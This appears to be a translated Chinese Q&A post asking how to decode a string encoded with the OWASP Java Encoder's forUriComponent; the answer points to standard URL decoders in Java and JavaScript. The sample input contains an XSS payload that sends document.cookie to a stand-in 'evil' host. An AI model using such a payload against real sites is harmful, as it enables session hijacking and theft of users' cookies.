我用OWASP编码器的forURIComponent
方法对下面的查询字符串进行了编码。
String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";
String encodedQuery = Encode.forUriComponent(query);
现在我需要解码encodedQuery
,解码的字符串应该与原始查询完全相等。 我该怎么做?
我假设你说的是OWASP Java编码器。 据我所知,它不提供任何解码功能。
但是,由于 Encode.forUriComponent()
方法实现了标准 URL 百分比编码,因此您可以使用任何正确实现的 URL 解码函数对其进行解码。 例如,在Java中,根据这个问题的答案,您可以使用java.net.URLDecoder
。
在 JavaScript 中,decodeURIComponent()
应该可以解决问题。 但是,如果您需要解析包含(可能(多个参数的 URI,您可能会发现URL
类(或URLSearchParams
(使用起来更方便。